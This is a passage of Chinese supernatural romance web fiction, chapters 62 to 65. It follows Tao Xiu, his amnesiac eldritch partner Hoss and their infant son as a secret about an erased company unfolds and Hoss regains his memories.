霍斯不满地“嗯”了声:这个小仆人真的胆子很大,工作工作,他只关心工作,要么就关心那些无关紧要的人类——要知道,他才是他的主人,难道这个小仆人不该只关心他、只崇拜他、心里眼里只有他吗?! 霍斯覆着青年眉眼的手一紧,他冷冷道:“说你知道错了,你不会再爱那个让你有了孩子的男人,你和那个孩子也不会离开我。”不然他整个身体、整颗心脏都变得不对劲,他一点都不喜欢这种一想到这个仆人就无法掌控自己的感觉。 霍斯:“作为交换,我会为你解决你刚刚在担心的问题。” 陶岫在男人占有欲十足的掌心中眨了下眼,再次蹭痒了对方的皮肤:“你怎么解决?” 霍斯眸色更深,他道:“我会保证在那个人类的身体机能彻底无法运转之前,让她稳定地保持现在的状态。这大概能持续十几年,之后,她会毫无痛苦地走向死亡。” 陶岫露在外面巴掌不到的下半张脸上浮出个浅笑,他伸手准确地抓住男人的衣领、用力将对方扯得俯下了身,接着他吻在男人微凉的唇上,道:“成交。” 他的声音里带了点狡猾的调笑:“不可以爱那个男人的话,爱你,可以么?” 霍斯身体猛地僵在原地,蓦然睁大了眼睛。他的心脏不受控地过速跳跃起来,仿佛下一秒就要钻出胸腔、自动地落入青年的掌中,无数身体部位正在争先恐后地想要钻出脊椎…… 连空间都扭曲了一瞬。 陶岫却在这时轻轻拍了下男人俊美冰冷的脸颊,道:“你不反对的话,就是同意了?乖,该你去履约了。” 说罢,他放开了扯着霍斯领带的手,唇边依旧是因着笑意而形成的涡旋。 …… 不知过了多久,霍斯终于僵硬地放开了覆着陶岫眉眼的手。 陶岫白皙的眉眼周围因着霍斯刚刚的动作淤出些暧昧的指|痕,苍绿的眼睛却澄澈又明亮,他静静看着男人那张难得显现出震撼与兵荒马乱的脸,没有说话。 霍斯已经不再试图控制自己的心跳,他深深看了眼青年,接着大步离开了这间办公室,向林枚的方向走去。 看着男人的背影,陶岫总算忍不住轻快地笑出声:如果霍斯以后工作都像今天这样半天就解决了,那么,剩下的时间他可以过来植物园陪陶星星么? 还有就是,真不知他这次的失忆的具体成因到底是什么,到底会持续多久。 想到这里,陶岫心里一动:或许,有时间他应该去那间卧室之外的地方看看那里或许藏着答案。 …… 过了不一会儿,霍斯便回到了这里。 他伸手抬起青年的下颌,眸色深沉地注视着对方美丽的脸,声音低沉沙哑:“我做好了。那么,不管是你,还是那个孩子,以后只能属于我。” 陶岫轻笑一声,正要说什么,又有人敲响了玻璃窗:是昨天才来过的周河和张乐。 霍斯的红眸里猛然浮出某种占有欲和杀意,骇得周河和张乐后退了几步,陶岫抽抽嘴角,起身将霍斯推进了婴儿室。 婴儿室里,陶星星在那个小帐篷里睡得正香,小八坐在旁边安静地看着绘本。 陶岫神色蓦然柔软起来,他看着霍斯轻声道:“你来了就陪陪陶星星吧,我忙完就进去看你们。” 在霍斯那种“你竟敢命令我”和“我竟然就任他动作了”的恍惚与震惊中,陶岫轻轻合上了门。 接着他走了出去,来到了周河和张乐面前,他扫了眼张乐背着的鼓鼓囊囊的背包,挑了眉道:“你效率也太高了。”竟然这么快就能说服其他玩家弄到这么多虫子碎肉。 张乐因为刚刚霍斯的一瞥,依旧惊魂未定地躲在周河身后,不敢答话。 周河也因为霍斯刚刚的注视脸色有些发白,精神倒是还好,他看着陶岫,道:“那些东西,真的有用吗?” 陶岫点了点头,接着看向张乐,认认真真道:“事情结束后,我会遵守承诺,帮你们摆脱手环的控制。” 周河回想起陶岫帮助林枚后泛白的脸颊,到底忍不住问道:“做这些,你真的没关系吗?” 他其实还想问,那位霍斯先生知道吗?他会允许你做这样几乎算得上勉强自己身体的事情吗? 陶岫弯了眼眸,道:“放心,没事的。说实话,能做这些,我很开心。”无论是帮霍斯的忙,还是为这个世界做点什么,他都从心底里感到满足和开心。 至于霍斯……. 陶岫苍绿的眼眸蓦然柔软起来,他看向婴儿室的方向,声音温柔得不可思议:“霍斯知道这一点的,所以他不会阻止我。” 无论那个男人有没有失忆,他都会懂他。 第62章 张乐这次给陶岫带来了更多装了虫子碎肉的瓶子:“B3副本是个【时间容量】本,本来按照系统要求,我要等到副本时间结束才能回大厅的,但是,希望酒店那两个副本核心帮了我,祂们回大厅‘挖墙脚’时很大方地带上了我,所以我才能说服这么多同伴。” 那是他第二次看到化成人形的核心(第一次是陶岫),那两个人有着奇异的眸色和发色,脸上却苦兮兮的,简直像人类世界随处可见的社畜。得知他可以找人帮忙收集那些,那对兄妹简直喜出望外。 只是祂们也特别叮嘱,只能收集已经成长成熟的部分——就是肉质已经彻底变成没有任何异色的漆黑的部分,才能用。 虽然不明白陶岫和祂们到底要这些东西做什么,但收集到就能脱离那个暗无天日的异常地狱,真的再划算不过。所以他说服别的玩家基本没费什么力气,就连那些想继续待在那里的野心家,都因为大厅的不断坍塌萌生了逃离的想法。 陶岫并未在意张乐在想什么,他只是接过那个沉甸甸的书包,客套地道了声谢。 这件事完成,周河便让张乐先回车上了,接着他对陶岫道:“还有就是,关于成运那个叫吴言的司机,他现在已经离开特别行动局了,他不好打扰你,要我替他向你道谢。” 陶岫一怔:“只是举手之劳罢了。他身体没被影响吧?” 周河摇摇头:“他身体还好,只不过……”这样说着,他的面上浮出点百思不得其解的疑惑:“他的孩子是自闭症儿童,需要上特殊学校,还需要长期大量地投入金钱和精力,他现在很需要钱,而他的学历明明可以轻轻松松找收入更高的工作,却还是回到了成家当司机。成家的公司现在都被查封了啊,家里也没啥人了,吴言也回那个空别墅守着。” “问他为什么,他也不说,只是苦笑着摇了摇头。” 陶岫瞳孔一缩:虫子交换了成杨和吴言的人生,吴言现在这样,是虫子能力的影响吗…… 想到这里,陶岫道:“他或许是有苦衷的。” 周河轻叹了口气:“人有好路不走非走绝路指定有苦衷,我就是不懂,他苦衷到底是什么,才能放着自己孩子不管非要去做那种人的司机。” 陶岫张了张口,却不知该怎么说。 周河感慨完,说起今天过来的第三件事:“最后要和你共享的信息是,你昨天不是让我们查【方子青】吗?全国有太多人叫这个名字了,我们暂时没筛查出什么有用信息,不过,我们倒是查到一起25年前发生的大型失踪案。” 说着他面上浮出些许不解:“这件失踪案是和那场3级地震同一年发生的,按说应该引起重视的,但蒋局也好我们的高层也好,竟然几乎没关注过这事……” “那场大型失踪案失踪了一百多个人,这么严重的社会事件,我们能找到的当年报道竟然只有零星几篇,那几篇也没什么详细信息,只说一百多个人在城市走失,就再也没了下文。” 陶岫听着听着,眼神便越来越冷:那是因为,虫子使用了【抹除】的力量,它抹除了那家公司和那些被虫子吃掉的【美好】公司员工们的存在…… 就是因为这种能力,特别行动局无法直接调查【方子青】。 周河这时接着道:“25年前其中一个失踪人员的家属接受采访说,她在受害者房间找到了一张写了受害者名字和有着【美好公司】字样的工牌,她还发现一张写着方子青名字的名片。我们是检索【方子青】这个名字时发现了这篇报道,进而发现了这场诡异的失踪案。” “调查过后,我们本想联系当年接受采访的受害者家属和完成那篇报道的记者,可惜时间太久,他们都已经去世。我们也试着调查【美好】公司,但暂时一无所获,目前的调查结果显示,并不存在这样一家公司。” 周河神情严肃地看着青年,问道:“我相信你向我们提起【方子青】这个名字绝非无意,陶岫,那个失踪案、【方子青】和【游戏】有关系,对不对?” 陶岫沉默一瞬,抿了下唇,点了点头。 霍斯后来说过,【抹除】这种能力其实很好解决,杀掉施放能力的存在就好了。可是,出于某种他不知道的原因,霍斯没有杀死那只虫子……霍斯似乎需要那只虫子暂时活着。 所以,那只虫子【抹除】的东西暂时无法被修正。 陶岫若有所思地看着手里沉甸甸的背包:是和这些碎肉有关吗? 周河的声音再次响起来:“出于某种原因,你不能说,对吗?”他相信陶岫这样道德感很强的人不会故意向他们隐瞒信息。 陶岫神情里果然表现出某种歉意:“不是不能说,是你们无法接收到我这里的信息。你们会遗忘。” 就比如,他们或许可以记住【方子青】和【美好公司】这两个词语,因为这不是两个特指词,而是可以泛指很多存在,但是,他们不会记住他告诉他们的这两个词的某种特定内容,这些特定内容都被【抹除】掉了。 对人类来说,这种情况下他们就像在一片白色的虚无荒野里挣扎,试图拼命找到那些没有被抹除干净的标点符号来获取信息。这实在太难了。 周河一怔,没有再纠结,他利落地点了点头,坚定地道:“我们会继续调查,用我们人类的方式寻找真相。我们绝对不会放弃。” 陶岫认认真真点了点头。 …… 等到周河离去,陶岫才带着那个背包走进办公室,他并未将它带进婴儿室,而是放在了外面房间置物架上。 接着他好好给自己做了消毒,才走进婴儿室。 房间里,霍斯正盘腿坐在地毯上,傲慢地审视着陶星星之前搭的那栋秘密基地积木小房子,已经学会坐起来的陶星星被男人抱在怀里,也小脸儿严肃地看着它,小八这次难得不怎么害怕霍斯,也抱膝坐在一边看向小房子。 陶岫:“.…?”这是在干啥? 霍斯伸出手指轻轻戳了下陶星星绵软的脸蛋,又指着积木房子,煞有介事道:“小崽子,你是说,这栋房子爸爸和那三只蠢狗不许进去?” 陶星星眨巴着漂亮的大眼睛,不满又委屈地张着小嘴咿咿呀呀抗议:星星有名字哒!才不叫小崽子!爸爸果然好坏!QAQ 才不许他进妈咪的秘密基地! 小八盯着那间房子默默吃瓜,她以为老大会生气。 却不成想,霍斯俊美的脸上浮出一个傲慢又满意的微笑:“很好。小崽子,以后你和他都是我的了,我的东西绝对不许想别人,所以,从现在开始忘记你的父亲,知道么?” 陶星星可爱的小脸儿彻底呆住了,大眼睛里满是疑惑:“.…?”爸爸在说什么傻瓜笨蛋话? 陶岫再也看不下去失忆的男人在孩子面前犯蠢,他抽抽嘴角走上前,微微俯身朝陶星星伸出手。 陶星星眼睛一亮,小脸儿上立刻沁出甜丝丝的笑,他伸出短短的小胳膊,陶岫立刻将他从霍斯怀里稳稳抱了起来。 陶岫怀里抱着孩子安抚,挑了眉看向男人,再自然不过地问道:“喂过他了么?” 霍斯眸色深深地同青年对视着:“嗯。” 陶岫满意地点点头,他一边抱着陶星星温柔地逗弄,一边问出了第二个问题:“你现在在做的工作,有办法加快速度吗?” 他不知道霍斯要拿那只虫子的身体做什么,但是,他知道霍斯一定是在【拯救】这个世界。 那么,如果有办法加快进程,就能让吴言那样的人早点摆脱虫子的噩梦,也能让那些埋骨虫腹的人们早点重见天日——即使已经死了,他们也一定不愿意留在那样恶心的地方被自己的世界遗忘。 霍斯闻言瞳孔一缩,他的面上浮出一瞬间的空白的茫然:这是怎么回事? 他明明应该全知全能才对,可此时,他却无法回答青年的问题。 就好像……有谁故意精准偷走了这个问题的答案…… 没有任何存在有能力对他做这些、也没有谁有资格对他做这些,除了…… 陶岫看着男人俊美的面容上的异样,他单手稳稳抱着陶星星,有些担心地在男人面前晃了下手掌:“霍斯?” 第63章 霍斯一把抓住青年的手,挑了眉道:“我拒绝回答这个问题。” 陶岫一怔——他本来只是抱着不多的希冀问一问,毕竟,如果真的有尽快解决问题的方法,依照霍斯的性格,他早就做了。 霍斯最讨厌麻烦又迂回的解决方法,事实上,他像现在这样每天耐心地出门工作已经是天方夜谭一样的存在了。 他本以为会得到一个“不能”的答案,但没想到,霍斯会拒绝回答…… 他太过了解霍斯,霍斯会这样回答就说明,很可能存在这样的方法,但是,他不能、或者不想说。 那么,如果真的存在这样一种更直接粗暴的解决问题的方法,是什么促使霍斯放弃了它、偏偏选择了更麻烦的另一种方法呢? 陶岫若有所思地盯着眼前俊美的男人半晌,随即将自己的腕自对方掌中挣脱出来,他看似毫不在意地眨了下眼,道:“不想说就算啦。对了,外面有你需要的虫子碎肉,回家的时候你负责拿那些哦。” 说罢他便坐在了霍斯和小八中间,温柔地逗弄着陶星星玩。 霍斯身体一顿,他本能地想将陶岫和那些虫子隔离开,他不想陶岫接触虫子的一切,但即使再怎么不愿,在刚刚那些人类将虫子给陶岫时,他还是没有阻止。 就好像,他对青年的了解已经刻进了他的本能,他仿佛天然知道,有些事情他一定无法阻止对方。 于是霍斯并未多问那些碎肉,只是道了声:“我知道了。” 他看了眼自己刚刚握过青年手腕的手,又看向自己身边的陶岫和陶星星,心头下意识涌起一种强烈的保护欲。 乖乖偎依在陶岫怀里的婴儿一边玩着小八递给他的玩具,一边同霍斯对视着,有着湛红瞳仁的大眼睛发出一种澄净又奇异的光芒。 霍斯眉角一抽,第二次伸出手指轻轻点了下婴儿Q弹的脸颊:“小崽子,不许对我使用读心的能力。” 想帮陶岫找到刚刚问题答案的陶星星糯糯“唔”了声,他委屈地撇了撇嘴,白嫩的小手抓住了陶岫的衣襟,他整张可爱又委屈的小脸儿都埋进了陶岫的怀里:爸爸真的太坏了QAQ 而且……关于那个问题,这个暂时失忆的爸爸的答案是一片空白…… 但爸爸果然还是好坏啊,怎么可以戳星星的脸颊QAQ 陶岫心疼死了,他用了些力气拍了下霍斯的手背:“他还是个婴儿,不管因为什么,你碰他的时候能不能轻一点小心一点。” “还有,他叫星星,不许再小崽子小崽子的叫他。” 霍斯心说你真的对这个小崽、不,是这个叫星星的孩子太保护过度。 这个孩子明明强大得无法用绝大多数尺度衡量,怎么可能只是被戳了下脸颊就怎样了。 他明明应该教训自己的仆人不许这样养孩子,被动吐出口的话却是:“.…我知道了。” 陶岫这才垂眸看向怀里的孩子,他的视线刹那间温柔下来,他轻轻摇晃着怀里的孩子安抚着对方,等到陶星星颊边重新浮出小小甜甜的酒窝,陶岫才温和地道:“就算是爸爸,也是有隐私的,我们应该尊重别人的隐私,以后不经过爸爸的同意,星星不能读他的心,知道么?” 他弯了眼眸朝陶星星伸出手指:“我们拉钩,好不好?” 陶星星眼睛亮晶晶的,他认真点了下头,伸出柔软白嫩的小手,轻轻握住了陶岫的小指:和妈咪拉钩钩~星星一定会遵守约定的~ 陶岫忍不住亲了口陶星星的额头:“小星星真棒呀。” 霍斯却整个人僵在那里,他直视着青年:“你刚刚、让他叫我什么?”陶岫刚刚说,他是这个婴儿的……爸爸…… 陶岫一脸好笑地同难得这种表情的男人对视,道:“你有意见?” 霍斯深红的瞳仁里映满了青年和婴儿的脸,里头翻滚着可怕的占有欲,半晌,他才声音低沉地道:“你想我做他的父亲,知道会有什么后果么?” 他真的会永永远远把他锁在身边……不是作为仆人,而是作为…… 陶岫并未在意霍斯眸中一闪而过的可怕暗影,他再自然不过地随口道:“知道知道。”早就知道了。 说罢他便接着去哄怀里的孩子,任由对方用那样可怖黏着的眼神注视着自己。 …… 很快到了下班时间,霍斯用了瞬移带陶岫陶星星和小八回到了家。 他并未让那个装满碎肉的背包进那个家,早就提前使用能力将它丢进了书房。 温馨的家里,竺已经准备好了香气四溢的晚餐——他今天准备了陶岫最爱吃的汉堡肉便当和小八最喜欢的锅包肉,还炖了A市人冬天常喝的酒酿圆子。 即使这些菜搭配起来算得上奇怪,陶岫和小八还是觉得食指大动。 大家一起喂好陶星星奶粉后,霍斯说自己不需要进食,直接去了书房,陶岫看了眼他的背影,才和竺与小八一起坐在了餐桌前。 陶星星喝完奶后,就躺在陶岫身边的婴儿车里甜甜睡着了。 陶岫这才开始吃饭。汉堡肉和锅包肉都非常美味,搭配起来竟然有种奇妙的口感,酒酿也酒香四溢口感浓郁。 这是一顿很完美暖和的晚餐,陶岫却难得有些走神:霍斯以前其实也不需要进食,但是,他是会陪自己吃每一顿饭的。 从前他很爱看霍斯吃饭,这个和整个世界格格不入的男人,优雅地用餐时会给人一种沾染了烟火气的错觉。 像是看出陶岫在想什么,竺道:“我也准备了老大的晚饭哦,还热乎着,老板你等下可以直接去书房拿给他!”即使不用进食,但祂们吃到美味的东西还是会感到幸福的! 陶岫回过神来,眨了下眼:“卧室外的空间不是是混乱的么?”即使再想做什么,他也不会让自己陷入危险中给别人添麻烦。 竺眨眨眼:“自从老大把这边的身体部位吸收完,他住的地方空间应该就恢复正常了。”其实城堡里的空间恢复正常就是霍斯大人动动手指的事情,只是祂之前不想让陶岫看到祂盘踞在卧室之外的身体,才没那么做。 小八这时也道:“我们会看着小星星的。” 陶岫点点头,他弯了眼眸,道:“那我吃完饭就用饭盒拿给他。” 竺大大咧咧“哎”了声。 …… 吃完饭,陶岫拿了沉甸甸的饭盒,第一次站在了那间卧室的门前,他深吸一口气,打开了门就要踏出第一步。 下一瞬,他瞳孔一缩向下看去: 一只巨大的红色眼睛被压缩成薄薄一片,地毯一般铺在门外,它静静望着陶岫,缓缓眨动着。 陶岫竟然在那只眼睛里看到了……委屈。 陶岫:“.…?” 第64章 陶岫和地面上那只诡异的猩红眼睛对视了整整十秒,才试着友好地开口:“你好?” 他没有任何防备,因为他能感知到,这只眼珠里有一部分霍斯,但是它又不像是霍斯自己的眼珠…… 而它给人的感觉也不太像别的同伴。 那么,它到底是什么呢? 正在这时,一道空灵的声音在陶岫的脑海中响起:【你好,陶岫。好久不见。】 陶岫一怔:“我们见过?” 薄如蝉翼的血红眼睛缓缓向前蠕动着,亲昵地蹭着陶岫的脚踝:【是的。我见证了你的诞生。】 它并非任何生物,而是这个世界的规则,为了保护这个世界所有的子民而诞生。 而因为霍斯融进它这里的那缕意识,它对陶岫有着超出寻常的好感。或许就是因为这一点,霍斯一直在阻止它和陶岫见面。 这话让人有点不知道怎么回复,“见证了自己诞生”什么的又让陶岫猜测对方年纪很大,于是他摸了摸鼻尖,用了敬语:“请问您找我有什么事情么?” 眼睛的声音平静而无机质,像人工智能:【我和祂在某件事上产生了分歧。】 【祂认为应该隐瞒你一些信息,而我判断,从25年前开始,祂和我都不该对未来的走向做任何干涉,所以我来见你,将一切拨回原轨。】 它是冒着彻底消失的风险来到了青年面前。 随着这个世界的复苏和更多同伴开始苏醒,霍斯不久前一下子吞掉了几乎一半的身体部位,祂现在已经有压制它的力量——就像这只红眼睛是它的一种显示与存在方式,它本该是立体的,霍斯吞完身体就将它压缩成了二维的存在。 陶岫瞳孔一缩,他还是不知道眼前的眼睛到底是谁,他微微皱了眉,问道:“这是什么意思。” 诡异的眼睛直视着青年:【你问过祂,如何“加速”祂在做的事情的进程,事实上,原本的轨道中,那件事情的进程本就比现在要快。】 25年前,那只虫子得到了陶岫的大部分力量,只要它被那些力量催熟,它就会成为完美的空间分离剂的材料。 现在,只差一点,它的整个身体就能被彻底催熟和全部应用。就因为差的这一点,霍斯的进度就被拖慢了很多——那对兄妹去狩猎虫子的身体要费力挑选能用的地方,整个进度自然会很慢。 而补上这一点并不是没有办法。 霍斯不会对祂和陶岫共同孕育的孩子设防,所以,原本的轨道中,陶星星会通过读霍斯的心知晓一个方法,他会把这个“秘密”告诉陶岫,而陶岫也会使用那个方法。 但知晓了这个细节后,霍斯宁愿把自己的一部分记忆寄放在自己另一半身体那里,也要阻止这件事情发生。 祂那样独断专行最厌麻烦的性格,做这样幼稚又迂回的布置,仅仅是为了改变自己的孩子读自己的心这一个微小节点所造成的走向。 眼睛:【陶岫,你最后的力量就是尽快结束一切的关键。知道了这个信息,不久后你才会拥有选择的权利。】 陶岫体内最后的力量就是差的那一点。 在人类世界里,对“拯救”这件事来说,霍斯的过于强大是一种束缚,而祂们之中最特别的陶岫,才是天生适合拯救的存在。 或许陶岫和这颗星球的缘分在他诞生之初就开始了,现在的一切都是那团绿色的灵魂当初在黑暗中看到第一个温暖的人类时产生的回响。 陶岫闻言蓦然睁大了眼睛,苍绿的眼眸中呈现一种毫无方向感的茫然。 沉默半晌,他的神情缓缓变得平静与坚定,他半蹲下来温和地同那双眼睛对视:“我是不会随便怀疑霍斯的做法的。我想知道,你到底是谁?又为什么要告诉我这些?” 那只眼睛里又缓缓浮现出刚刚见到陶岫时的委屈,它的声音却依旧空灵淡漠:【我是规则。我本身只忠于我存在的逻辑,并不具备具体的情感。但霍斯放在我这里的意识,会促使我做出超出逻辑之外的事情、产生我本不会产生的感情。】 比如显现出来的这种“委屈”实际上属于那缕霍斯的意识,它在向青年撒娇。 【我和那缕意识判断,让原本会发生的事情发生,才是对你的保护。】 陶岫思索一瞬,垂眸一笑:“如果你说的是真的,那看来,原本的轨道里我一定会受到不小的伤害。” 不然霍斯不会那么做。 他知道的,霍斯爱他,因为爱,所以会解他。 所以,不管是他使用力量帮林枚还是答应帮张乐他们,霍斯从来没有阻止过。 而现在霍斯这样做,就意味着……那种伤害会大到让霍斯无法接受。 听到青年这样说,猩红眼睛中的瞳仁微微一缩,那缕霍斯的意识因为慌乱迅速占据了主导:【我、我比任何人都不想伤害你,我们——】 它们也不想原定轨道里的事情发生,只是它们判断,和身体上的伤害比起来……霍斯出手干涉隐瞒信息所造成的另一种伤害对青年的打击更大…… 强大是一种多么可怕的束缚啊,霍斯那样强大到恐怖的存在都要在这种束缚里面临这种两难选择…… 陶岫伸出白皙柔软的手,手指轻轻触碰了那只冰凉的红眼睛,他弯了眼眸,声音温柔得不可思议:“告诉我这些真的多谢啦。” “说实话,我确实爱人类的世界,但也爱霍斯和我的孩子,爱我自己,爱我的生活和那些朋友。我知道,你们已经知晓了某一种未来,我不想提前知道那种未来具体是什么,不过,当你们口中所谓的选择到来时,我会迈出无愧本心的一步。” 被霍斯意识主导的眼睛难得怔怔地看着青年,说不出话来。 正在这时,“踏踏”的脚步声在走廊深处响起来,陶岫动作一顿:他知道那是霍斯的脚步声。 于是他看向那只猩红的眼睛,面上浮出个无奈的笑:“趁着他还没过来,快溜走吧。” 脚步声刚响起时,这眼睛被骇得有一瞬失神,它一看就很怕霍斯。 【规则】一愣,它安静地眨了下,再次亲昵地蹭了蹭青年的手指,下一瞬便彻底消失不见。 …… 那只眼睛消失后,高大俊美的男人很快就走到了陶岫面前,他安静地注视着青年,声音平静而充满磁性:“你是来履行男仆的义务打扫这里吗?” “既然你想让我做那孩子的父亲,那么你就不必再做男仆,我们可以建立新的关系。我勉为其难允许你做这里的另一个主人——” “啊那还真是让人感动。”陶岫一脸好笑地打断了他,他这才离开那间卧室几步,站在深得无法窥探铺满了金色毯子的走廊里观赏黑暗散去后华美无比的城堡内部。 看了一会儿,陶岫才倚在走廊的围栏上静静地看向他,道:“既然你已经决定干涉和阻止某件事情的发生,为什么刚刚不阻止那只眼睛对我说那些话?” 他明白他的爱人有多强大。 他不认为霍斯失忆后就会推翻他失忆前的布置。 而这里可是霍斯的地盘啊,霍斯怎么可能不知道那只眼睛来了、并且对他说了什么。 他又怎么可能阻止不了。 俊美的男人瞳孔一缩。 其实吞噬掉一半身体部位回来后,他就一直知道他的记忆中缺了什么,他也知道,他的身体和本能对陶岫如此眷恋,那些缺失的部分很可能就和陶岫有关。他很可能和陶岫发生过什么。 听完那只眼睛的话后,他更加确定了这一点。 他对陶岫有着不可抑制的占有欲与疯狂的欲|望,拿回那些记忆后,他就拥有了和这个青年的羁绊,就能比现在更快地得到他——即使,陶岫可能和别人有过孩子。 但那又怎么样呢?那个孩子无论是谁的都无法影响——陶岫和孩子,他都要。 他知道那些记忆在哪里,也知道如何拿回它们,但是……他的身体和本能在阻止他…… 今天在植物园,青年问他一个问题时,他发现自己给不出答案,有谁精准地拿走了那个答案,而能对他做这些的,只有他自己…… 所以,是他自己在阻止青年接触那些信息…… 而那只眼睛,在破坏他宁愿失去一部分记忆都要完成的计划,他明明应该直接碾碎它……但是…… 陶岫依旧温柔又专注地注视着他,他温和地问了第二次:“霍斯,为什么呢?” 霍斯俊美的面上没什么神情,他只是微微俯首,直直看着青年,猩红的眸子里映满了对方的倒影。 正在这时,陶岫随身携带的手机发出“滴”地一声响,那是有消息进来的声音。或许是因为他没关上那两扇门,手机到了这里竟然还有信号。 陶岫眨了下眼,还是拿出手机打开了它。 是周河发来的消息,他说特别行动局查到了一条【美好】公司的消息,只有这么一条,陶岫感兴趣的话,明天上午可以过来听他们的会议。 霍斯看着查看手机消息的青年,唇线紧绷了一瞬,手缓缓抬起却又放下,他并未阻止。 就像他刚刚并未阻止那只愚蠢的眼睛进他的城堡。 他看着陶岫敲了个“好”字回复给那个人类,却什么都没做。 明明他不想青年和那些人类有所接触。 其实他能轻轻松松掐断所有的信号,他也能把这个美丽的青年永远锁在他的城堡,他还有无数方法让这个青年只看他一个人。 他却没有做这其中任何一件事。 就像陶岫刚刚问他的那句:为什么呢? 这是为什么呢? 陶岫这时已经回复完消息,他抬起头,重新用那种温柔又润湿的眼神注视着他。 霍斯看了那双眼睛很久,才声音沙哑地答道:“我的身体在撕扯。我身体里一部分告诉我,我应该狠狠碾碎那只眼睛永远不让你接触它。另一部分却告诉我……” “你是永远自由的。即使是我,也不能夺走你哪怕万分之一的自由。” 即使这种剥夺,很可能冠以了保护的名义。 这种狠狠压制了他的本性的流淌在他身体里的浓烈感情,到底是什么呢?如果他拿回那些记忆,是不是就知道了? “砰”地一声轻响,陶岫倾身抱住了霍斯,他紧紧抱着男人的腰,将脸埋进了对方满是馥郁冷香的宽阔怀抱。 他闭了眼,轻轻道:“霍斯,小星星是我的孩子,也是你的孩子,他流着我们两个人的血。” 即使有过这种猜测,霍斯还是身体一僵,蓦然睁大了眼睛。 陶岫却接着道:“所以,回来吧。即使是过家家一样的失忆闹剧,我也不想你再不记得我们了。我想和你一起吃饭,一起散步,一起照顾陶星星,一起回忆我们共同度过的那些细碎日常。” “无论我之后会做出怎样的选择,我们一家人总会在一起的,不是么?” 陶岫微微踮起脚尖,将一个吻印在男人冰凉的唇上:“霍斯,无论会发生什么,有你和陶星星在,我都不会害怕……” …… 不知过了多久,一条有力的手臂覆上了青年的腰。 金碧辉煌的宫殿霎时陷入一片浓重的黑暗里,天花板在摇晃、大地在摇晃、两个世界仿佛都在摇晃。 空间全部扭曲,无数深蓝的触手自黑暗中潮水一般涌来,争先恐后地钻入了霍斯的脊椎。 整个世界仿佛都被那些触手填|满、整个世界都在畅快地吟唱,赞美着祂回归完整的一瞬。 … 等到将那些记忆送回,男人另一半还有着照应未苏醒的子民义务的身体部位重新回到了原位。 黑暗如退潮般缓缓消失,金碧辉煌的城堡里,被刚刚那一幕震撼的陶岫站在原处,腰间依旧横着那只有力的手臂。 回过神来,陶岫对上了一双美丽而神情的猩红眼睛,霍斯抬起另一只手,轻轻捏上青年的下颌,他道:“亲爱的,我回来了……” 陶岫一怔,觉得自己眼眶莫名有些酸——即使,霍斯根本没失忆多久。 他深吸一口气,弯了眼眸道:“总之,先吃饭吧。刚好我也又饿了,可以陪你吃一点。你刚好忙完了吧,我们去客厅吃。” 说着他拉起男人的腕向那间卧室走去,经过那道门时,又顺便拿起刚刚放在那里的饭盒。 陶岫拉着霍斯走过那间卧室,打开了那扇杂物间的门——明亮的灯光自门外照亮了他和霍斯的脸颊,小八和竺逗着小婴儿的声音传了过来。 接着,陶星星稚嫩可爱的声音切切实实地响了起来,他终于用嘴巴和还未发育完全的声带说出了人生中第一句话:“爸爸、妈咪、回来了~” 第65章 “小星星……会说话了?” 温馨的客厅里,小八激动的声音响了起来。 已经来到客厅的陶岫把饭盒放在一旁,连忙抱起陶星星,面上满是惊喜的笑意:正常来说,婴儿应该是九个月以后才能学会说话,但小星星竟然这么快就学会了。 他真的好棒呀。 陶星星偎依在陶岫的怀里,伸出柔软的小手触碰着青年的脸颊,颊边是甜甜的笑意,他甚至还没开始长牙,说话很不熟练,声音糯糯的:“mua、mua~妈咪~” 陶岫觉得自己心脏软得快要化开,他愣了半晌,才轻轻道:“嗯,我在。” 霍斯见状也不甚熟练地朝婴儿伸出一根手指,试图戳一下对方绵软的脸颊,刚刚因为激动叫出爸爸的陶星星却别扭地转了头,往陶岫的怀里蹭了蹭,不想会霍斯。 想起今天在植物园得罪了自己孩子的霍斯:“……” 他眉角隐晦地抽动了一下,很想说身为他的孩子怎么可以这么娇气为这点事情生气。 但看了眼满眼笑意把婴儿无比宝贝地抱在怀里的青年,霍斯还是咽下了那些话。 陶岫一点都不觉得刚出生不到两个月就会开口说话的婴儿是个小怪物,反而觉得陶星星真的太棒太聪明了,他看着怀里的婴儿,爱意几乎要从明亮温柔的眼睛里溢出来。 不知想到什么,他看向霍斯,再自然不过地道:“明天上午我要去趟特别行动局,你方便帮我照看下小星星和植物园吗?一上午就可以,下午我很快回植物园。” 明天是临时行程,他来不及发闭园通知,如果直接关门会让客人白跑一趟。 说罢他温和地看向小八:“明天你也辛苦啦。”年底了,发奖金的时候应该在合同的基础上多给小姑娘发一些。 小八甜甜笑了,摇了摇头:在植物园工作她真的很开心。 本想和对方一起去的霍斯看了陶岫半晌,到底吐出一句:“好。” 陶岫抱了小朋友好一会儿,才将他重新放回婴儿车,他拎起一旁的饭盒朝霍斯看过去:“现在,我们一起去吃饭吧。” 霍斯的眼神刹那间温柔下来,他专注地望着青年,道了声:“好。” …… 第二天,陶岫把写了所有需要注意的细节的便签本给了霍斯,接着自己打车去了特别行动局。 大楼大厅,照旧是周河来接他,他已经和陶岫算得上熟,于是直接道:“抱歉啊,临时出了点事情,我们的会议刚刚确定推迟到十点了,我刚要和你说你就到了。” 陶岫跟着他走进电梯,道:“没关系,我可以等一下。”顿了下,他问道:“方便问下出什么事了么?” 周河:“当然。”没什么不能说的。 只是他说完便轻轻叹了口气,道:“是吴言出事了。我不是一直不懂成运父子都出事了,他还回那个别墅做司机么?今天我才知道,他这两天为了赚钱注册了网约车,昨晚他接到了第一个单子开始跑第一趟,只是还没拉到客人就出车祸了。” 车祸不算异常事件,但仔细想想也很诡异:一个高材生跑去做成运父子这种人的司机、哪怕父子俩现在都在局子里他也还要回去继续做司机就够诡异了,现在这个人需要钱临时去跑网约车看起来是正常,但与此同时,他竟然没有投出任何一份简历——明明他的学历和他的项目经历足够支撑他找到一份高薪工作。 开始下行的电梯里,周河说着说着面上浮出更多疑惑:“还有更奇怪的事情,今天吴言妻子来局里了,我们查了下她的背景,结果让我们大吃一惊:那位女士的学历与经历优秀得不逊于吴言,现在却狼狈得在到处打零工。她似乎生病了,脸色不是很好。” “不过,她真的是个非常勇敢聪明的女人,她的丈夫出于对她的保护,并没有告诉她自己在别墅经历的那些异常,她却还是推断出她丈夫一定经历了什么不同寻常的事情,她认为那些异常事件一定在影响他们一家。吴言出车祸后,她安顿好他和孩子后找到了我们局里,想要一个真相。” “现在,蒋局正在接待她。所以我们的会议才推迟了。” 